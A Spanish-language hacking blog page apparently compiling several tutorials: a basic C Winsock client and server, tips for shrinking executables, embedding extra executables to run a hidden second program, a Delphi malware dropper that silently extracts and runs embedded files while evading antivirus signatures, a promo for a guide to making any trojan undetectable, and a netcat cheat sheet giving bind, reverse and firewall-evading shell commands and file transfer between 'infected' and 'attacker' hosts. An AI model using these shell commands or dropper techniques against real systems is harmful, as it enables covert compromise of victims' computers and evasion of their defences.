Descarga este documento en PDF

Así que me parece bien tener esta información siempre a la mano a la hora de hacer nuestro malware indetectable a cualquier antivirus.

consta de 23 paginas bien explicadas con imagenes y bien documentadas con todo lo que necesitas saber para hacer INDETECTABLE CUALQUIER TROYANO o lo que te plazca.

Descarga este Documento en PDF

Hola a todos nuevamente, después de unos días me alegra informarles que ya esta lista la segunda entrega de este pequeño tutorial para incursionar en la programación con sockets.

En la entrega anterior aprendimos los principales tipos de sockets y como programar nuestro primer cliente, es decir el programa que conecta al servidor.

En esta ocasión vamos a aprender a programar el servidor, que es el programa que atenderá al cliente.

Pero antes de empezar a tocar la programación es bueno comenzar explicando brevemente que es el protocolo TCP y como trabaja de la mano del protocolo IP

TCP (Transmission Control Protocol, en español Protocolo de Control de Transmisión) es uno de los protocolos fundamentales en Internet. Fue creado entre los años 1973 – 1974 por Vint Cerf y Robert Kahn. Muchos programas dentro de una red de datos compuesta por ordenadores pueden usar TCP para crear conexiones entre ellos a través de las cuales puede enviarse un flujo de datos. El protocolo garantiza que los datos serán entregados en su destino sin errores y en el mismo orden en que se transmitieron. También proporciona un mecanismo para distinguir distintas aplicaciones dentro de una misma máquina, a través del concepto de puerto. TCP da soporte a muchas de las aplicaciones más populares de Internet, incluidas HTTP, SMTP, SSH y FTP.

Una dirección IP es un número que identifica de manera lógica y jerárquicamente a una interfaz de un dispositivo (habitualmente una computadora) dentro de una red que utilice el protocolo de Internet (Internet Protocol), que corresponde al nivel de red o nivel 3 del modelo de referencia OSI. Dicho número no se ha de confundir con la dirección MAC que es un número físico que es asignado a la tarjeta o dispositivo de red (viene impuesta por el fabricante), mientras que la dirección IP se puede cambiar.
Ahora que sabemos lo necesario sobre TCP \ IP entendemos que TCP es el protocolo que transportara nuestros datos a través del socket, mientras que IP sirve para saber de donde y a donde enviar dichos datos a través de la red.
Ambos protocolos trabajan en conjunto para poder establecer una conexión entre Cliente y Servidor.

Esto lo podemos entender mejor apreciando el siguiente diagrama.

Si ya se que esto no se acerca ni tantito a un diagrama de TCP / IP three-way handshake pero para darnos idea de cómo funciona la interacción (conmutación de datos) entre ambos equipos esta bien.

Puesto que ya tenemos algo de teoría y un entendimiento un poco mas amplio de cómo funciona una conexión en TCP ahora procederemos a Programar Nuestro servidor.

Dado que es muy similar la programación del servidor a la forma en la que programamos el cliente, a excepción de de la forma en la que se declara la estructura del socket y el hecho de que ahora nos pondremos en escucha por un puerto determinado envés de conectar a una IP, solo listare esa sección del código para ahorrar espacio.

char Buffer[1023];
Declaramos el tamaño del Buffer

conexloc.sin_family = AF_INET;
Definimos la version 4 de IP

conexloc.sin_addr.s_addr = INADDR_ANY;
Definimos IP local

conexloc.sin_port = htons(9999);
Definimos puerto (9999) por el que escuchara el socket utilizando un “short de máquina a short de la red” (htons). Esto lo hacemos para ordenar la forma en la que enviaremos y recibiremos los datos por el puerto del socket, mas información buscar en google “Big-Endian”.

bind(locsock, (sockaddr*)&conexloc, sizeof(conexloc);
Una ves creado el socket asociamos el descriptor de fichero “locsock” a un puerto, para eso utilizamos la función “bind”, después asignamos la dirección IP pasándola como puntero a “sockaddr”.

listen(locsock, 5);
La función listen sirve para poner el socket en escucha por un puerto determinado, en nuestro caso el puerto “9999”que fue definido al socket en la función “bind”, utilizando el descriptor de fichero “locsock” que “socket()” nos dio. El último número es la cantidad de conexiones que podemos tener como máximo en la cola de espera.

conm=sizeof(struct sockaddr);
Definimos longitud de “sockaddr”

locsock=accept(locsock,(sockaddr*)&conexloc,&conm);
Aceptamos la conexión con la función “accept” utilizando el descriptor de fichero “locsock” para transmitir los datos entre ambas computadoras mediante nuestra estructura “SOCKADDR_IN” definida anteriormente en “conexloc”.

conm=recv(locsock,Buffer,sizeof(Buffer),0);
La función “recv” se encarga de recibir los datos a través del descriptor de fichero “locsock”, mientras que “Buffer” es donde se va almacenar la información recibida y posteriormente con “sizeof” medimos la longitud total del buffer recibido.

Dado que “recv” devuelve un valor de cero en caso de existir un error se utiliza un bucle while para verificar que seguimos conectados con el equipo remoto.

Código fuente completo del servidor:

Bien ahora que ya tienes El cliente y el Servidor, llego el momento de ejecutar el Servidor seguido del cliente y voila!!!

Felicidades ya tienes tu primer aplicación con sockets programada en C.
Hasta aquí termina este tutorial, espero que te haya gustado y te sea de utilidad, cualquier sugerencia puedes contactarme vía E-Mail: octalh@gmail.com

Solo me queda decirte que ahora te toca perfeccionar el cliente para que interactué de igual forma que lo hace el servidor

Tutorial elaborado para: www.aztekmindz.org

Descargar Projecto Fuentes y Compilado

Antes que otra cosa aclarar que este texto se a escrito simplemente como un tutorial y no como una guía de sockets, si bien el tema es demasiado extenso me pareció bien adjuntar lo necesario para dar nuestros primeros pasos en la programación con sockets.
Ya veras que no eran tan complicados como pensabas que eran.

Que es un socket.

Un socket no es mas que una forma de comunicarce con otras computadoras utilizando un descriptor de fichero que la funcion socket() nos da, y posteriormente nos comunicamos con el para interactuar entre ambas computadoras usando send() y recv().

Tipos de sockets.

Existen principalmente dos tipos de sockets:

• SOCK_STREAM Sockets de Flujo
• SOCK_DGRAM Sockets de Datagramas

Los sockets de Flujo establecen una conexión y son bastante seguros, ya que el protocolo que utilizan es TCP, y como bien saben TCP se encarga de que todo lo que se envía llegue en el mismo orden y sin errores.

Los sockets de Datagramas se caracterizan por utilizar el protocolo UDP, por lo que se pueden enviar paquetes sin necesidad de una conexión, es decir. No es necesaria una serie de saludos previos para garantizar que la conexión sea segura y no exista perdida de datos.

Quiere decir que puedes enviar una serie de paquetes y no se recibirá confirmación alguna si fue recibido o no.

A Programar!!

Bien ahora que ya tenemos un poco de teoría base procederemos a programar nuestro primer Cliente. Es decir será el programa que conecte al Servidor.

Como compilador para los ejemplos utilizaremos Dev-C++
Requerimientos:
Primero tenemos que hacer una referencia a la librería <winsock2.h> y configurar el Linker de nuestro Dev-C++ para que adjunte la librería libws2_32.a, para eso nos vamos a Project –- Project options –- Parameters y en la opcion Linker damos clic en “Add Library or Object” y seleccionamos libws2_32.a, después damos en OK y ya esta.

#include <winsock2.h>
Referencia a la librería

WSADATA wsadata;
Declaramos WSADATA. En Windows antes de poder tocar la librería winsock tenemos que declarar primero WSADATA.

struct hostent *host;
Declaramos estructura “hostent” donde almacenaremos la IP que nos devuelva “gethostbyname”.

SOCKADDR_IN conexrem;
Declaramos una estructura SOCKADDR_IN para no tener que definir una IP y un puerto en cada paquete que enviemos. De esa forma todo viajara encapsulado utilizando la estructura SOCKADDR_IN.

SOCKET locsock;
Declaramos el descriptor de fichero que nos de el socket

int wasa = WSAStartup(MAKEWORD(2,0),&wsadata);
Indicamos versión 2.0 del socket

locsock = socket(AF_INET, SOCK_STREAM, 0);
Indicamos que usaremos un socket Stream(TCP).

host=gethostbyname(“localhost”);
Definimos Host con la IP que devuelva “gethostbyname” y resolvemos la dirección IP del Dominio “localhost”, con esto conseguimos traducir nombres de dominio sin utilizar una dirección IP directamente. (esta será la IP a donde nuestro Cliente conectara).

conexrem.sin_port = htons(9999);
Definimos puerto (9999) del socket utilizando un “short de máquina a short de la red” (htons)
Esto lo hacemos para ordenar la forma en la que enviaremos y recibiremos los datos por el puerto del socket, mas información buscar en google “Big-Endian”.

conexrem.sin_addr = *((struct in_addr *)host->h_addr);
Definimos la IP a donde conectaremos, como teníamos la dirección IP almacenada en “host” y la función solo admite “in_addr” para almacenar la IP en “h_addr”, tenemos que hacer un Casting de modo que “host” que es ahora un “in_addr” (debido a el casting (struct in_addr *) ) sea un puntero a “h_addr”.

conexrem.sin_family = AF_INET;
Definimos la versión 4 de IP

memset(conexrem.sin_zero,0,8);
Ponemos en 0 la cadena “sin_zero” en sus 8 espacios

connect(locsock, (sockaddr*)&conexrem, sizeof(conexrem);
Ahora procedemos a realizar la conexión con la IP remota que definimos en la estructura “conexrem.sin_addr” y el puerto definido en “conexrem.sin_port”. Dado que “connect” solo acepta “sockaddr” envés de nuestra estructura “SOCKADDR_IN” tenemos que realizar un casting para convertir “conexrem” en un “sockaddr”.
Después medimos la longitud de la estructura con “sizeof.

char msj[] = “Hola Mundo desde www.aztekmindz.org”;
Definimos el mensaje a enviar

send(locsock,msj,sizeof(msj),0);
Enviamos mensaje
Utilizamos la función “send” para enviar datos a través del descriptor de fichero “locsock” que nos dio el socket, después medimos la cantidad de caracteres a enviar en “msj” utilizando “sizeof”

Código del cliente.

Bien hasta aquí termino esta primera parte, espero que te sea de gran utilidad y si compartes este manual por favor da la fuente de donde lo tomaste, para la próxima entrega programaremos el servidor , por ahora tienes suficiente para entretenerte bastantes horas
octalh@gmail.com
www.aztekmindz.org

Descargar Projecto Fuentes y Compilado

Ha decir verdad IDE’s como Dev-C++ no tienen nada que envidiarle a muchas otras como visual C++ de micro$oft, es una excelente interfaz de desarrollo, muy practica y bastante liviana. En esta ocasión quiero darles algunos consejos para reducir el tamaño de sus aplicaciones considerablemente.

Aspectos a tomar en cuenta:

Siempre trata de utilizar lo menos posible el uso de librerías que no necesitas cuando puedes realizar lo mismo con otras mucho más pequeñas.

En este ejemplo realizaremos un Hola Mundo en C++ y reduciremos el tamaño de la aplicación.

Bien, ese es nuestro pequeño programa hola mundo que no hace mas que imprimir en pantalla nuestro mensaje “salu2 desde www.aztekmindz.org”.

Como pueden observar el tamaño de nuestro programa, a pesar de que lo único que hace es imprimir en pantalla una frase es de 464 KB.

Ahora vamos a hacer lo mismo pero utilizando otra función de otra librería consiguiendo el mismo efecto pero reduciendo bastante el tamaño.

Empezaremos cambiando <iostream> por <stdio.h>
Y ahora cambiamos cout por printf.

Como pueden ver el resultado es exactamente el mismo pero reducimos el tamaño de 464 KB a solo 15.4 KB

hora si queremos reducir aun mas nuestro programa nos toca cambiar un poco la configuración del compilador.

Para eso nos vamos a Project — Project Options y nos vamos a la pestaña Compiler

Una ves estemos en la pestaña Compiler nos dirigimos a Linker y marcamos como YES la opción Strip Executable.

Ahora nos vamos a Optimization, desplegamos el menú y nos vamos a la opcion Further Optimizations y marcamos como YES la opcion Best optimizations.

Damos clic en OK y ahora compilamos nuestro proyecto.

Ahora como pueden ver reducimos el tamaño de 15.4 KB a 5.50 KB. En total logramos reducir una aplicación de 464 KB a solo 5.50 KB

Con esto termino este pequeño manual espero que te sea de gran utilidad cualquier duda puedes enviar un correo a octalh@gmail.com

Ejecutar un segundo programa al ejecutar nuestra aplicación sin que nadie lo note.
Portar herramientas útiles o recursos dentro de nuestro programa.

Bueno eso fue suficiente de teoría ahora manos a la obra.

Lo primero será crear un nuevo proyecto de consola en Dev C++

Nos vamos a:
File — New — Resource File

Y nos creara un archivo.rc, ahora procedemos a escribir los archivos que necesitemos utilizar.

En el ejemplo introduciremos dentro de nuestro programa dos exe

binario RT_RCDATA “1.exe”
binario2 RT_RCDATA “calc.exe”

Bien ahora ya sabes como incluir otros binarios dentro de tu aplicacion y como sacarles provecho.
El codigo puede mejorarce mucho añadiendo comprobaciones en cada etapa para evitar errores.

Esta podria considerarce una buena forma de incluir multiples archivos sin requerir de un joiner o blinder

Me pareció buena idea poner las sintaxis de ejecución de netcat ya que siempre es muy útil tenerlas a la mano.

Las resumiré en unas pocas líneas:

Shell en escucha por puerto 666 con netcat

Infectado:
NC -l -d -e cmd.exe -p 666

Atacante:
NC -vv IP 666

Shell inversa por puerto 666 con netcat

Atacante:
NC –vv –l –p 666

Infectado:
NC -d -e cmd.exe IP 666

Shell pipeada con netcat ( útil para pasar FW ).

Atacante:
Recepción de datos puerto: 80 [HTTP]
Envío de datos puerto: 25 [SMTP]

Infectado:
NC IP 80 | cmd.exe | NC IP 25

Transferencia de archivos con netcat

Atacante
NC -l -p 666 < FILE

Infectado:
NC IP 666 > FILE

Es un programa que extrae 1 o más archivos en un computador, y usualmente los ejecuta o abre una vez son extraidos. Comportamientos comunes en los droppers son su ejecución invisible, más se pueden hacer muchas otras cosas.
Esto crea el efecto para un usuario comun que pensara que solo esta ejecutando una sola aplicación, cuando en verdad pueden haber otras tantas.
¿Porque un dropper y no un binder?

Por su flexibilidad, porque su header es menos perseguido que el de los archivos bindeados para los AV que cargan firmas como locos y porque son un buen inicio para poder entender tanto binders como droppers.
Conceptos para hacer un dropper
¿Como incluir un archivo en un programa?

Tenemos las siguientes posibilidades:
* Como un array de tipo caracter [el archivo letra por letra]
* Como un resource. [el archivo como un recurso del programa]
* Iniciando con el header del archivo al final del programa, “union por la cola” [Tipo binder]

Añadiendola como un array nos ocuparia mucho más espacio, y la union tipo binder no nos interesa por el momento. Añadirlo como un resource sera nuestra elección:
Creando un resource: Esto se puede hacer en notepad y luego guardarlo como un archivo con extension .RC

Delphi nos avisara de la ausencia del .RES y lo creara por nosotros siguiendo la ruta que encuentre en el .RC y relacionando ambos archivos en una libreria de recursos .RES.

Creando el dropper el Delphi
Bueno, para ahorrar espacio en el codigo añado los comentarios de que es cada cosa:
* Abrimos Delphi, en un nuevo proyecto copiamos el source siguiente.
Luego guardamos como .dpr (asegurarse que el archivo .RC y los archivos .exe para droppear esten en la misma.

Ok, si miramos de cerca el codigo, nuestro dropper ahora tomara los archivos que esten en el .RES, los extraera y luego los ejecutara en la carpeta temp bajo un nombre aleatorio. Ahora que ya tenemos lo necesario para que nuestro dropper funcione, compilamos y ya esta.

Tutorial Elaborado Por: status.0 [ www.indetectables.net ]